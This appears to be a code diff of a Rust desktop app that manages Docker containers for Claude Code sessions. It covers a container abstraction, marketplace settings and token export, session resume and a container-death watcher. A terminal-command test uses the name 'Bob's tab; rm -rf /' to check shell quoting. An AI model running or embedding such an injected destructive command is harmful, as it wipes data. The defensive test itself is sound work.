+    let container_id = target.id().to_string();
 
     // Update project with container info using granular methods (Issue 14: TOCTOU)
     state.projects_store.set_container_id(&project_id, Some(container_id.clone()))?;
@@ -1471,7 +1327,7 @@ async fn start_project_container_locked(
             .auth_bridge
             .start(
                 project_id.clone(),
-                container_id.clone(),
+                target.clone(),
                 app_handle.clone(),
                 state.projects_store.clone(),
             )
@@ -1507,13 +1363,13 @@ pub async fn stop_project_container(
     // Drop host listeners first: they only make sense while the container runs.
     state.auth_bridge.stop(&project_id).await;
 
-    if let Some(ref container_id) = project.container_id {
+    if let Some(container) = ContainerTarget::for_project(&project) {
         // Close exec sessions for this project
         emit_progress(&app_handle, &project_id, "Stopping container...");
-        state.exec_manager.close_sessions_for_container(container_id).await;
+        state.exec_manager.close_sessions_for_container(container.id()).await;
 
-        if let Err(e) = docker::stop_container(container_id).await {
-            log::warn!("Docker stop failed for container {} (project {}): {} — resetting to Stopped anyway", container_id, project_id, e);
+        if let Err(e) = ProjectHost::for_project(&project).stop(&container).await {
+            log::warn!("Stop failed for container {} (project {}): {} — resetting to Stopped anyway", container.id(), project_id, e);
         }
     }
 
@@ -1568,13 +1424,13 @@ pub async fn rebuild_project_container(
     if let Some(ref stored_id) = project.container_id {
         state.exec_manager.close_sessions_for_container(stored_id).await;
     }
-    let container_ref = docker::find_existing_container(&project).await?;
-    if let Some(ref container_id) = container_ref {
-        if project.container_id.as_deref() != Some(container_id.as_str()) {
-            state.exec_manager.close_sessions_for_container(container_id).await;
+    let host = ProjectHost::for_project(&project);
+    let container_ref = host.find_current(&project).await?;
+    if let Some(ref container) = container_ref {
+        if project.container_id.as_deref() != Some(container.id()) {
+            state.exec_manager.close_sessions_for_container(container.id()).await;
         }
-        let _ = docker::stop_container(container_id).await;
-        docker::remove_container(container_id).await?;
+        host.remove(container).await?;
         state.projects_store.set_container_id(&project_id, None)?;
     }
 
@@ -1587,12 +1443,10 @@ pub async fn rebuild_project_container(
     // discard. No pending-cleanup record for either: unlike `remove_project`,
     // Reset keeps the project record, so a later Reset attempt can retry
     // these itself rather than needing startup housekeeping to do it.
-    let mut leftover_image = None;
-    if let Err(e) = docker::remove_snapshot_image(&project).await {
-        log::warn!("Failed to remove snapshot image for project {}: {}", project_id, e);
-        leftover_image = Some(docker::get_snapshot_image_name(&project));
-    }
-    let leftover_volumes = docker::remove_project_volumes(&project).await;
+    let DiscardLeftovers {
+        image: leftover_image,
+        volumes: leftover_volumes,
+    } = host.discard_project_state(&project).await;
     if leftover_image.is_some() || !leftover_volumes.is_empty() {
         log::warn!(
             "Reset for project {} could not fully clean up — image: {:?}, volumes: {:?} — the \
@@ -1659,8 +1513,8 @@ pub async fn reconcile_project_statuses(
             continue;
         }
 
-        let is_running = if let Some(ref container_id) = project.container_id {
-            docker::is_container_running(container_id).await.unwrap_or(false)
+        let is_running = if let Some(container) = ContainerTarget::for_project(project) {
+            container.is_running().await.unwrap_or(false)
         } else {
             false
         };
@@ -1675,12 +1529,12 @@ pub async fn reconcile_project_statuses(
             // bridge lives in this process, so re-arm it here. `start` is
             // idempotent, so a bridge that is already polling is untouched.
             if project.auth_bridge_enabled {
-                if let Some(ref container_id) = project.container_id {
+                if let Some(target) = crate::host::ContainerTarget::for_project(&project) {
                     state
                         .auth_bridge
                         .start(
                             project.id.clone(),
-                            container_id.clone(),
+                            target,
                             app_handle.clone(),
                             state.projects_store.clone(),
                         )
@@ -1700,13 +1554,6 @@ pub async fn reconcile_project_statuses(
     Ok(state.projects_store.list())
 }
 
-fn default_docker_socket() -> String {
-    if cfg!(target_os = "windows") {
-        "//./pipe/docker_engine".to_string()
-    } else {
-        "/var/run/docker.sock".to_string()
-    }
-}
 
 #[cfg(test)]
 mod tests {
@@ -2290,4 +2137,28 @@ mod tests {
         assert_eq!(payload.status, ProjectStatus::Running);
         assert_eq!(payload.created_at, stored.created_at);
     }
+
+    /// The marketplace commands own a project's installs and opt-outs; the
+    /// Config tab's next unrelated save carries a stale copy of both.
+    #[test]
+    fn a_stale_save_cannot_undo_a_marketplace_install() {
+        use crate::models::marketplace::{ItemKind, MarketplaceInstall, MarketplaceItemRef};
+        let (mut stored, mut payload) = stored_and_stale_payload();
+        stored.marketplace_installs = vec![MarketplaceInstall {
+            marketplace_id: "m1".into(),
+            kind: ItemKind::Agent,
+            key: "code-reviewer".into(),
+            commit: "a".repeat(40),
+        }];
+        stored.marketplace_disabled = vec![MarketplaceItemRef {
+            marketplace_id: "m1".into(),
+            kind: ItemKind::Hook,
+            key: "h".into(),
+        }];
+
+        restore_store_owned_fields(&mut payload, &stored);
+
+        assert_eq!(payload.marketplace_installs, stored.marketplace_installs);
+        assert_eq!(payload.marketplace_disabled, stored.marketplace_disabled);
+    }
 }

app/src-tauri/src/commands/settings_commands.rs

@@ -36,7 +36,7 @@ pub fn validate_settings_update(
     // fallback for **every** project without an override
     // (`container.rs`'s `create_container`), so `/` here read-only bind-mounts
     // the whole host at `/tmp/.host-ssh` for all of them — and `entrypoint.sh`
-    // then does `cp -a /tmp/.host-ssh ~/.ssh`, recursively copying it into the
+    // then merges `/tmp/.host-ssh` into `~/.ssh`, recursively copying it into the
     // home volume this release exists to bound.
     //
     // Grandfathered the same way project paths are: a value carried over
@@ -67,14 +67,26 @@ pub fn validate_settings_update(
     Ok(())
 }
 
+/// Marketplace state is written only by the marketplace commands
+/// (`commands/marketplace_commands.rs`), each of which returns fresh settings.
+/// Every other settings save posts the frontend's copy back whole, and that
+/// copy can predate an install made a moment ago, so what is stored wins.
+/// `apply_settings_import` is the one caller that replaces it, explicitly.
+pub(crate) fn restore_marketplace_fields(incoming: &mut AppSettings, stored: &AppSettings) {
+    incoming.marketplace_accounts = stored.marketplace_accounts.clone();
+    incoming.marketplaces = stored.marketplaces.clone();
+    incoming.global_marketplace_installs = stored.global_marketplace_installs.clone();
+}
+
 #[tauri::command]
 pub async fn update_settings(
-    settings: AppSettings,
+    mut settings: AppSettings,
     state: State<'_, AppState>,
 ) -> Result<AppSettings, String> {
     let before = state.settings_store.get();
 
     validate_settings_update(&before, &settings)?;
+    restore_marketplace_fields(&mut settings, &before);
 
     let saved = state.settings_store.update(settings)?;
 
@@ -430,4 +442,28 @@ mod tests {
         });
         assert_eq!(gateway_action(&before, &half_typed), GatewayAction::None);
     }
+
+    #[test]
+    fn a_stale_settings_save_cannot_overwrite_marketplace_state() {
+        use crate::models::marketplace::Marketplace;
+        let mut stored = AppSettings::default();
+        stored.marketplaces.push(Marketplace {
+            id: "m1".into(),
+            name: "Team".into(),
+            url: "https://example.invalid/r.git".into(),
+            branch: None,
+            account_id: None,
+        });
+        // The frontend's copy predates the marketplace being added.
+        let mut incoming = AppSettings::default();
+        incoming.auto_check_updates = false;
+
+        restore_marketplace_fields(&mut incoming, &stored);
+
+        assert_eq!(incoming.marketplaces, stored.marketplaces);
+        assert!(
+            !incoming.auto_check_updates,
+            "the edit the save was for still applies"
+        );
+    }
 }

app/src-tauri/src/commands/settings_export_commands.rs

@@ -41,6 +41,9 @@ use tauri::State;
 use tauri_plugin_dialog::DialogExt;
 use zeroize::Zeroizing;
 
+use std::collections::BTreeMap;
+
+use crate::models::marketplace::{AccountMethod, MarketplaceAccount};
 use crate::models::{
     AppSettings, ExportedSecrets, SettingsExportPayload, SettingsImportOutcome,
     SettingsImportPreview, SETTINGS_EXPORT_FORMAT_VERSION,
@@ -131,11 +134,56 @@ fn split_settings_and_secrets(current: AppSettings) -> (AppSettings, ExportedSec
         gateway_api_key: secure::get_gateway_api_key().unwrap_or_default(),
         gateway_master_key: secure::get_gateway_master_key().unwrap_or_default(),
         web_terminal_access_token,
+        marketplace_account_tokens: exported_marketplace_tokens(
+            &settings.marketplace_accounts,
+            secure::get_marketplace_token,
+        ),
     };
 
     (settings, secrets)
 }
 
+/// The stored token of every marketplace account that has one, by account
+/// id. A `GhHost` account stores none (its token is asked of the host's `gh`
+/// each time), so it is not read. A missing or unreadable token is left out,
+/// like the other keychain secrets above.
+fn exported_marketplace_tokens(
+    accounts: &[MarketplaceAccount],
+    get: impl Fn(&str) -> Result<Option<String>, String>,
+) -> BTreeMap<String, String> {
+    accounts
+        .iter()
+        .filter(|a| a.method != AccountMethod::GhHost)
+        .filter_map(|a| {
+            let token = non_blank(get(&a.id).unwrap_or_default())?;
+            Some((a.id.clone(), token))
+        })
+        .collect()
+}
+
+/// Write each imported marketplace token to the keychain, returning a
+/// warning (never containing the token) for each one that could not be.
+fn restore_marketplace_tokens(
+    tokens: &BTreeMap<String, String>,
+    mut store: impl FnMut(&str, &str) -> Result<(), String>,
+) -> Vec<String> {
+    let mut warnings = Vec::new();
+    for (account_id, token) in tokens {
+        if let Err(e) = store(account_id, token) {
+            log::warn!(
+                "Settings import: could not restore the token of marketplace account {}: {}",
+                account_id,
+                e
+            );
+            warnings.push(format!(
+                "Could not restore a marketplace account's token ({}); sign that account in again.",
+                e
+            ));
+        }
+    }
+    warnings
+}
+
 /// Export the current global settings and secrets to a password-encrypted
 /// file. `Ok(false)` means the save dialog was dismissed — not an error, and
 /// deliberately distinguishable from one so the frontend shows nothing
@@ -320,6 +368,13 @@ pub async fn apply_settings_import(
         .or_else(|| current.web_terminal.access_token.clone());
 
     crate::commands::settings_commands::validate_settings_update(&current, &settings)?;
+    // The marketplace half, with the commands' own rules and normalisation,
+    // also before anything is written (pre-flight F10).
+    let marketplace_tokens = payload.secrets.marketplace_account_tokens;
+    crate::commands::marketplace_commands::validate_imported_marketplace_state(
+        &mut settings,
+        &marketplace_tokens,
+    )?;
 
     let mut secret_restore_warnings = Vec::new();
     let mut gateway_secret_changed = false;
@@ -363,8 +418,36 @@ pub async fn apply_settings_import(
         }
     }
 
+    secret_restore_warnings.extend(restore_marketplace_tokens(
+        &marketplace_tokens,
+        secure::store_marketplace_token,
+    ));
+
+    let imported_marketplace = (
+        settings.marketplace_accounts.clone(),
+        settings.marketplaces.clone(),
+        settings.global_marketplace_installs.clone(),
+    );
     let saved =
         crate::commands::settings_commands::update_settings(settings, state.clone()).await?;
+    // `update_settings` keeps marketplace state store-owned. An import is the
+    // one caller entitled to replace it wholesale.
+    let saved = {
+        let mut s = saved;
+        (
+            s.marketplace_accounts,
+            s.marketplaces,
+            s.global_marketplace_installs,
+        ) = imported_marketplace;
+        state.settings_store.update(s)?
+    };
+    // Caches of marketplaces the import dropped are dead weight now, and
+    // the pins must match the imported installs.
+    use crate::commands::marketplace_commands as mc;
+    for id in mc::dropped_marketplace_ids(&current, &saved) {
+        mc::remove_cache(&state, &id).await;
+    }
+    mc::refresh_pins(&state).await;
 
     // `reconcile_gateway` (inside `update_settings`) only reacts to a changed
     // *shape* — port, provider, base URL, models — because that's what's
@@ -651,4 +734,97 @@ mod tests {
 
         std::fs::remove_dir_all(&dir).ok();
     }
+
+    fn account(id: &str, method: AccountMethod) -> MarketplaceAccount {
+        MarketplaceAccount {
+            id: id.to_string(),
+            label: format!("Account {id}"),
+            host: "github.com".to_string(),
+            method,
+            username: None,
+        }
+    }
+
+    #[test]
+    fn export_carries_stored_tokens_of_token_and_container_accounts_only() {
+        let accounts = vec![
+            account("a-token", AccountMethod::Token),
+            account("a-container", AccountMethod::GhContainer),
+            account("a-host", AccountMethod::GhHost),
+            account("a-missing", AccountMethod::Token),
+            account("a-broken", AccountMethod::Token),
+        ];
+        let tokens = exported_marketplace_tokens(&accounts, |id| match id {
+            "a-token" => Ok(Some("test-token-not-real-1".to_string())),
+            "a-container" => Ok(Some("test-token-not-real-2".to_string())),
+            "a-host" => panic!("a gh-host account stores no token, so none is read"),
+            "a-missing" => Ok(None),
+            _ => Err("keychain locked".to_string()),
+        });
+        assert_eq!(
+            tokens,
+            BTreeMap::from([
+                ("a-container".to_string(), "test-token-not-real-2".to_string()),
+                ("a-token".to_string(), "test-token-not-real-1".to_string()),
+            ])
+        );
+    }
+
+    #[test]
+    fn marketplace_tokens_round_trip_through_an_export_and_validate_on_import() {
+        use crate::models::marketplace::Marketplace;
+        let id = "0f8fad5b-d9cb-469f-a165-70867728950e";
+        let mut payload = sample_payload(SETTINGS_EXPORT_FORMAT_VERSION);
+        payload
+            .settings
+            .marketplace_accounts
+            .push(account(id, AccountMethod::Token));
+        payload.settings.marketplaces.push(Marketplace {
+            id: "7c9e6679-7425-40de-944b-e07fc1f90ae7".into(),
+            name: "Team".into(),
+            url: "https://github.com/org/repo.git".into(),
+            branch: None,
+            account_id: Some(id.into()),
+        });
+        payload.secrets.marketplace_account_tokens =
+            BTreeMap::from([(id.to_string(), "test-token-not-real".to_string())]);
+
+        let dir = temp_dir("marketplace-round-trip");
+        let path = write_export(&dir, "x.triplec", &payload, "password123");
+        let mut back = read_and_decrypt(&path, "password123").unwrap();
+
+        assert_eq!(
+            back.secrets.marketplace_account_tokens,
+            payload.secrets.marketplace_account_tokens
+        );
+        assert_eq!(back.settings.marketplaces, payload.settings.marketplaces);
+        crate::commands::marketplace_commands::validate_imported_marketplace_state(
+            &mut back.settings,
+            &back.secrets.marketplace_account_tokens,
+        )
+        .unwrap();
+        let _ = std::fs::remove_dir_all(&dir);
+    }
+
+    #[test]
+    fn a_marketplace_token_that_fails_to_restore_is_reported_without_its_value() {
+        let tokens = BTreeMap::from([
+            ("a1".to_string(), "test-token-not-real-1".to_string()),
+            ("a2".to_string(), "test-token-not-real-2".to_string()),
+        ]);
+        let mut stored = Vec::new();
+        let warnings = restore_marketplace_tokens(&tokens, |id, token| {
+            if id == "a2" {
+                return Err("keychain locked".to_string());
+            }
+            stored.push((id.to_string(), token.to_string()));
+            Ok(())
+        });
+        assert_eq!(
+            stored,
+            vec![("a1".to_string(), "test-token-not-real-1".to_string())]
+        );
+        assert_eq!(warnings.len(), 1);
+        assert!(!warnings[0].contains("test-token-not-real"));
+    }
 }

app/src-tauri/src/commands/terminal_commands.rs

@@ -1,6 +1,7 @@
 use tauri::{AppHandle, Emitter, State};
 
 use crate::commands::aws_commands;
+use crate::host::ContainerTarget;
 use crate::models::{Backend, BedrockAuthMethod, Project};
 use crate::AppState;
 
@@ -11,12 +12,18 @@ use crate::AppState;
 /// validates the AWS session first, and runs `aws sso login` if it has expired
 /// so the user can re-authenticate (the URL is clickable via xterm.js
 /// WebLinksAddon).
-fn build_terminal_cmd(project: &Project, state: &AppState, session_name: Option<&str>) -> Vec<String> {
+fn build_terminal_cmd(
+    project: &Project,
+    state: &AppState,
+    session_name: Option<&str>,
+    resume_session_id: Option<&str>,
+) -> Vec<String> {
     let settings = state.settings_store.get();
     build_claude_terminal_cmd(
         project,
         settings.global_aws.aws_profile.as_deref(),
         session_name,
+        resume_session_id,
     )
 }
 
@@ -53,10 +60,16 @@ fn shell_quote_arg(arg: &str) -> String {
 
 /// The testable core of [`build_terminal_cmd`], taking the resolved global AWS
 /// profile rather than the whole [`AppState`].
+///
+/// `resume_session_id` adds `--resume <id>` (flag spelling checked against the
+/// CLI in the container image) and drops `-n`: the resumed conversation keeps
+/// the name it already has, and the tab label the caller passes as
+/// `session_name` — often just "resume" — must not overwrite it.
 fn build_claude_terminal_cmd(
     project: &Project,
     global_aws_profile: Option<&str>,
     session_name: Option<&str>,
+    resume_session_id: Option<&str>,
 ) -> Vec<String> {
     let is_bedrock_profile = project.backend == Backend::Bedrock
         && project
@@ -69,12 +82,15 @@ fn build_claude_terminal_cmd(
 
     // The args are interpolated into a shell script string, so single-quote
     // each one.
-    let name_flag = session_name
-        .filter(|n| !n.is_empty())
-        .map(|n| format!(" -n{}", shell_quote_arg(n)))
-        .unwrap_or_default();
+    let session_flags = match resume_session_id {
+        Some(id) => format!(" --resume{}", shell_quote_arg(id)),
+        None => session_name
+            .filter(|n| !n.is_empty())
+            .map(|n| format!(" -n{}", shell_quote_arg(n)))
+            .unwrap_or_default(),
+    };
     let permission_flags: String = permission_args.iter().map(|a| shell_quote_arg(a)).collect();
-    let claude_cmd = format!("exec claude{}{}", permission_flags, name_flag);
+    let claude_cmd = format!("exec claude{}{}", permission_flags, session_flags);
 
     if !is_bedrock_profile {
         return vec![
@@ -135,6 +151,7 @@ pub async fn open_terminal_session(
     session_id: String,
     session_type: Option<String>,
     session_name: Option<String>,
+    resume_session_id: Option<String>,
     app_handle: AppHandle,
     state: State<'_, AppState>,
 ) -> Result<(), String> {
@@ -143,14 +160,24 @@ pub async fn open_terminal_session(
         .get(&project_id)
         .ok_or_else(|| format!("Project {} not found", project_id))?;
 
-    let container_id = project
-        .container_id
-        .as_ref()
+    let target = ContainerTarget::for_project(&project)
         .ok_or_else(|| "Container not running".to_string())?;
 
+    if let Some(id) = resume_session_id.as_deref() {
+        crate::commands::inspect_commands::validate_session_id(id)?;
+    }
+
     let cmd = match session_type.as_deref() {
+        Some("bash") if resume_session_id.is_some() => {
+            return Err("Only a Claude session can resume a conversation".to_string());
+        }
         Some("bash") => vec!["bash".to_string(), "-l".to_string()],
-        _ => build_terminal_cmd(&project, &state, session_name.as_deref()),
+        _ => build_terminal_cmd(
+            &project,
+            &state,
+            session_name.as_deref(),
+            resume_session_id.as_deref(),
+        ),
     };
 
     let output_event = format!("terminal-output-{}", session_id);
@@ -161,7 +188,7 @@ pub async fn open_terminal_session(
     state
         .exec_manager
         .create_session(
-            container_id,
+            &target,
             &session_id,
             cmd,
             move |data| {
@@ -212,7 +239,7 @@ pub async fn paste_image_to_terminal(
     image_data: Vec<u8>,
     state: State<'_, AppState>,
 ) -> Result<String, String> {
-    let container_id = state.exec_manager.get_container_id(&session_id).await?;
+    let target = state.exec_manager.get_target(&session_id).await?;
 
     let timestamp = std::time::SystemTime::now()
         .duration_since(std::time::UNIX_EPOCH)
@@ -222,7 +249,7 @@ pub async fn paste_image_to_terminal(
 
     state
         .exec_manager
-        .write_file_to_container(&container_id, &file_name, &image_data)
+        .write_file_to_container(&target, &file_name, &image_data)
         .await
 }
 
@@ -255,7 +282,7 @@ pub async fn upload_host_file_to_terminal(
     let base = crate::commands::file_commands::host_upload_name(&host_path)?;
     let host_path = crate::commands::file_commands::resolve_host_read_path(&host_path).await?;
 
-    let container_id = state.exec_manager.get_container_id(&session_id).await?;
+    let target = state.exec_manager.get_target(&session_id).await?;
 
     let meta = tokio::fs::metadata(&host_path)
         .await
@@ -285,7 +312,7 @@ pub async fn upload_host_file_to_terminal(
     // with the code that does the reading, which re-applies it to the open
     // descriptor — this check is here only so the refusal reads like a sentence
     // instead of arriving after a 300 MB read.
-    use crate::docker::exec::MAX_DROP_BYTES;
+    use crate::host::MAX_DROP_BYTES;
     if meta.len() > MAX_DROP_BYTES {
         return Err(format!(
             "File too large to drop into the terminal ({:.0} MB; limit {} MB). Mount it into the project instead.",
@@ -298,20 +325,18 @@ pub async fn upload_host_file_to_terminal(
 
     // Ensure the destination directory exists rather than relying on Docker's
     // archive extractor to create the parent for the uploaded tar entry.
-    crate::docker::exec::exec_oneshot(
-        &container_id,
-        vec!["mkdir".to_string(), "-p".to_string(), "/tmp/triple-c-drops".to_string()],
-    )
-    .await?;
+    target
+        .exec_oneshot(vec![
+            "mkdir".to_string(),
+            "-p".to_string(),
+            "/tmp/triple-c-drops".to_string(),
+        ])
+        .await?;
 
     let file_name = format!("triple-c-drops/{}", base);
-    crate::docker::exec::upload_host_file_to_container(
-        &container_id,
-        &host_path,
-        "/tmp",
-        &file_name,
-    )
-    .await
+    target
+        .upload_host_file(&host_path, "/tmp", &file_name)
+        .await
 }
 
 #[tauri::command]
@@ -319,8 +344,8 @@ pub async fn start_audio_bridge(
     session_id: String,
     state: State<'_, AppState>,
 ) -> Result<(), String> {
-    // Get container_id from the terminal session
-    let container_id = state.exec_manager.get_container_id(&session_id).await?;
+    // Get the container from the terminal session
+    let target = state.exec_manager.get_target(&session_id).await?;
 
     // Create audio bridge exec session with ID "audio-{session_id}"
     // The loop handles reconnection when the FIFO reader (fake rec) is killed and restarted
@@ -334,7 +359,7 @@ pub async fn start_audio_bridge(
     state
         .exec_manager
         .create_session_with_tty(
-            &container_id,
+            &target,
             &audio_session_id,
             cmd,
             false,
@@ -414,7 +439,7 @@ mod tests {
     /// wrapper rather than a bare `claude` argv.
     #[test]
     fn build_terminal_cmd_updates_before_launching_claude() {
-        let cmd = build_claude_terminal_cmd(&project("anthropic", serde_json::Value::Null), None, None);
+        let cmd = build_claude_terminal_cmd(&project("anthropic", serde_json::Value::Null), None, None, None);
 
         assert_eq!(cmd[0], "bash");
         assert_eq!(cmd[1], "-c");
@@ -444,6 +469,7 @@ mod tests {
             &project("anthropic", serde_json::Value::Null),
             None,
             Some("Bob's tab; rm -rf /"),
+            None,
         );
 
         assert!(
@@ -459,7 +485,7 @@ mod tests {
     fn build_terminal_cmd_quotes_permission_flags_and_omits_an_empty_name() {
         let mut p = project("anthropic", serde_json::Value::Null);
         p.full_permissions = true;
-        let cmd = build_claude_terminal_cmd(&p, None, Some(""));
+        let cmd = build_claude_terminal_cmd(&p, None, Some(""), None);
 
         assert!(
             cmd[2].contains("exec claude '--dangerously-skip-permissions'\n"),
@@ -469,6 +495,20 @@ mod tests {
         assert!(!cmd[2].contains(" -n "), "empty name must add no flag: {}", cmd[2]);
     }
 
+    /// Auto mode is passed as a `--permission-mode` value, not its own flag.
+    #[test]
+    fn build_terminal_cmd_passes_auto_permission_mode() {
+        let mut p = project("anthropic", serde_json::Value::Null);
+        p.permission_mode = Some(crate::models::project::PermissionMode::Auto);
+        let cmd = build_claude_terminal_cmd(&p, None, None, None);
+
+        assert!(
+            cmd[2].contains("exec claude '--permission-mode' 'auto'"),
+            "got: {}",
+            cmd[2]
+        );
+    }
+
     /// The Bedrock-profile path keeps its AWS validation *and* gains the
     /// prelude, immediately before the exec.
     #[test]
@@ -483,6 +523,7 @@ mod tests {
             })),
             None,
             Some("it's fine"),
+            None,
         );
 
         assert_eq!(cmd[0], "bash");
@@ -498,6 +539,31 @@ mod tests {
         );
     }
 
+    /// Resume goes through the same launch as a new session — prelude,
+    /// permission flags — and passes the id instead of the tab label, so a
+    /// label of "resume" does not rename the conversation.
+    #[test]
+    fn build_terminal_cmd_resumes_without_renaming() {
+        let mut p = project("anthropic", serde_json::Value::Null);
+        p.full_permissions = true;
+        let cmd = build_claude_terminal_cmd(
+            &p,
+            None,
+            Some("resume"),
+            Some("e13d312d-2f38-4cf6-b0e0-1db60208a74c"),
+        );
+
+        assert!(cmd[2].contains(UPDATE_PRELUDE), "got: {}", cmd[2]);
+        assert!(
+            cmd[2].contains(
+                "exec claude '--dangerously-skip-permissions' --resume 'e13d312d-2f38-4cf6-b0e0-1db60208a74c'\n"
+            ),
+            "got: {}",
+            cmd[2]
+        );
+        assert!(!cmd[2].contains(" -n "), "resume must not rename: {}", cmd[2]);
+    }
+
     #[test]
     fn a_dropped_file_keeps_the_name_the_user_dropped() {
         use crate::commands::file_commands::host_upload_name;

app/src-tauri/src/container_watch.rs

@@ -0,0 +1,328 @@
+//! Notices a project container that stopped without the app asking.
+//!
+//! Until this existed the app only ever learned a container's state from its
+//! own commands and from `reconcile_project_statuses`, which the frontend runs
+//! once, when Docker first answers. A container that died underneath a running
+//! app — the entrypoint's keepalive killed, an OOM, `docker stop` from a shell,
+//! a daemon restart — left its project at Running indefinitely: every terminal
+//! disconnected, while the sidebar, Start/Stop and Project Home all still
+//! described a live container.
+//!
+//! One subscription to the host's death reports (`host::watch`; for Docker,
+//! the daemon's event stream filtered to container `die` events, so an idle
+//! daemon costs nothing and the app hears about a death as it happens — no
+//! polling loop). Each `die` naming a project's container is
+//! confirmed with one inspect before anything changes (an event can be
+//! replayed, and a restart can reuse the id), and the flip itself is
+//! [`ProjectsStore::mark_exited`]'s compare-and-set, which never touches a
+//! project a command owns and refuses if the store changed while the inspect
+//! was in flight. The frontend hears it on [`CONTAINER_EXITED_EVENT`].
+//!
+//! The stream drops whenever the daemon does. Each (re)subscription asks for
+//! events since just before it, and first re-checks every Running project once —
+//! the only window that replay cannot cover is a daemon restart, which forgets
+//! its event history, and that is exactly when containers go away.
+
+use std::future::Future;
+use std::sync::Arc;
+use std::time::{Duration, Instant};
+
+use futures_util::StreamExt;
+use serde::Serialize;
+use tauri::{AppHandle, Emitter};
+use tokio::sync::watch;
+
+use crate::host::watch::ExitSource;
+use crate::host::ContainerTarget;
+use crate::models::{Project, ProjectStatus};
+use crate::storage::projects_store::{ExitMark, ProjectsStore};
+
+/// Emitted as a [`ContainerExited`] whenever this module flips a project to
+/// Stopped.
+pub const CONTAINER_EXITED_EVENT: &str = "project-container-exited";
+
+const RETRY_MIN: Duration = Duration::from_secs(5);
+const RETRY_MAX: Duration = Duration::from_secs(60);
+/// A stream that stayed up this long (or delivered anything) was a working
+/// connection, so its loss starts the backoff over. Anything shorter — the
+/// daemon answers ping but the events call fails — keeps backing off, or it
+/// would re-sweep and re-log every five seconds forever.
+const STABLE_AFTER: Duration = Duration::from_secs(60);
+/// How often `settle` re-confirms when the store keeps changing under it.
+const SETTLE_ATTEMPTS: usize = 3;
+
+/// How the app found out, which decides whether it is news to the user.
+#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
+#[serde(rename_all = "snake_case")]
+pub enum ExitReason {
+    /// The container died while this app was running and watching — any
+    /// sessions it had were just cut off.
+    Exited,
+    /// Found already stopped on the first look of this run: it went down
+    /// while the app was closed (a host reboot, typically). Nothing the user
+    /// can see was interrupted, so it is not news.
+    FoundStopped,
+}
+
+#[derive(Debug, Clone, Serialize)]
+pub struct ContainerExited<'a> {
+    pub project: &'a Project,
+    pub reason: ExitReason,
+}
+
+fn project_busy(project_id: &str) -> bool {
+    crate::project_lock::held(project_id).is_some()
+}
+
+/// Confirm `container` really stopped and, if a project was Running on it,
+/// flip that project. Returns what changed.
+async fn settle(store: &ProjectsStore, container: &ContainerTarget) -> Option<Project> {
+    let container_id = container.id();
+    for _ in 0..SETTLE_ATTEMPTS {
+        // Cheap and allocation-free: most containers that die are not ours
+        // (probe and scratch containers, other software on the daemon), and
+        // those cost no inspect at all.
+        let seen = store.running_on(container_id)?;
+        // Positive exit only: a host that can't answer must not mark every
+        // project Stopped.
+        if !container.has_exited().await {
+            return None;
+        }
+        match store.mark_exited(container_id, &seen, project_busy) {
+            ExitMark::Flipped(p) => return Some(*p),
+            ExitMark::NotApplicable => return None,
+            // The store moved while the host was answering — possibly a stop and
+            // start of this very container. The inspect is stale; ask again.
+            ExitMark::Changed => continue,
+        }
+    }
+    None
+}
+
+/// Re-check every Running project once. Used on each (re)subscription.
+async fn sweep(store: &ProjectsStore) -> Vec<Project> {
+    let mut changed = Vec::new();
+    for p in store.list() {
+        if p.status != ProjectStatus::Running {
+            continue;
+        }
+        let Some(container) = ContainerTarget::for_project(&p) else { continue };
+        if let Some(c) = settle(store, &container).await {
+            changed.push(c);
+        }
+    }
+    changed
+}
+
+/// The wait before connection attempt `n + 1`, after `n` consecutive
+/// unproductive ones: 5 s, 10 s, 20 s, 40 s, then 60 s for good.
+fn retry_delay(consecutive_failures: u32) -> Duration {
+    let doublings = consecutive_failures.saturating_sub(1).min(8);
+    (RETRY_MIN * 2u32.pow(doublings)).min(RETRY_MAX)
+}
+
+/// `fut`, unless the app starts shutting down first. Every host call in here
+/// goes through this: a wedged daemon must not hold shutdown for its full
+/// budget.
+async fn unless_cancelled<T>(
+    cancel: &mut watch::Receiver<bool>,
+    fut: impl Future<Output = T>,
+) -> Option<T> {
+    if *cancel.borrow() {
+        return None;
+    }
+    tokio::select! {
+        // `Err` means the sender is gone, i.e. so is the app.
+        _ = cancel.changed() => None,
+        v = fut => Some(v),
+    }
+}
+
+/// One connection: ping, sweep, then follow the event stream until it ends.
+/// `None` when cancelled; otherwise whether the connection was a working one
+/// (see [`STABLE_AFTER`]).
+async fn watch_once(
+    store: &ProjectsStore,
+    cancel: &mut watch::Receiver<bool>,
+    sweep_reason: ExitReason,
+    on_change: &impl Fn(&Project, ExitReason),
+) -> Option<bool> {
+    let source = ExitSource::Docker;
+    if !unless_cancelled(cancel, source.reachable()).await? {
+        return Some(false);
+    }
+    // A second's overlap: the host replays from `since`, so a death during
+    // the sweep below is still delivered. Duplicates are harmless — `settle`
+    // confirms with an inspect every time.
+    let since = chrono::Utc::now().timestamp() - 1;
+    for p in unless_cancelled(cancel, sweep(store)).await? {
+        on_change(&p, sweep_reason);
+    }
+    let mut deaths = source.deaths(since);
+    let connected = Instant::now();
+    let mut delivered = false;
+    loop {
+        match unless_cancelled(cancel, deaths.next()).await? {
+            Some(Ok(container)) => {
+                delivered = true;
+                if let Some(p) = unless_cancelled(cancel, settle(store, &container)).await? {
+                    on_change(&p, ExitReason::Exited);
+                }
+            }
+            Some(Err(e)) => {
+                log::info!("Container watch: event stream ended ({e}) — reconnecting");
+                break;
+            }
+            None => {
+                log::info!("Container watch: event stream closed — reconnecting");
+                break;
+            }
+        }
+    }
+    Some(delivered || connected.elapsed() >= STABLE_AFTER)
+}
+
+/// Watch until `cancel` flips, calling `on_change` for every project whose
+/// container is found to have stopped on its own. Separate from [`spawn`] so a
+/// test can drive it without a Tauri app.
+pub(crate) async fn run(
+    store: Arc<ProjectsStore>,
+    mut cancel: watch::Receiver<bool>,
+    on_change: impl Fn(&Project, ExitReason),
+) {
+    // Only the first look of the run finds containers that stopped while the
+    // app was closed. A sweep after a reconnect finds ones that died while we
+    // were running — the daemon restarting is the usual cause — and those
+    // cut off live sessions just as a `die` event would.
+    let mut sweep_reason = ExitReason::FoundStopped;
+    let mut failures: u32 = 0;
+    loop {
+        let Some(healthy) = watch_once(&store, &mut cancel, sweep_reason, &on_change).await else {
+            return;
+        };
+        sweep_reason = ExitReason::Exited;
+        failures = if healthy { 1 } else { failures + 1 };
+        unless_cancelled(&mut cancel, tokio::time::sleep(retry_delay(failures))).await;
+        if *cancel.borrow() {
+            return;
+        }
+    }
+}
+
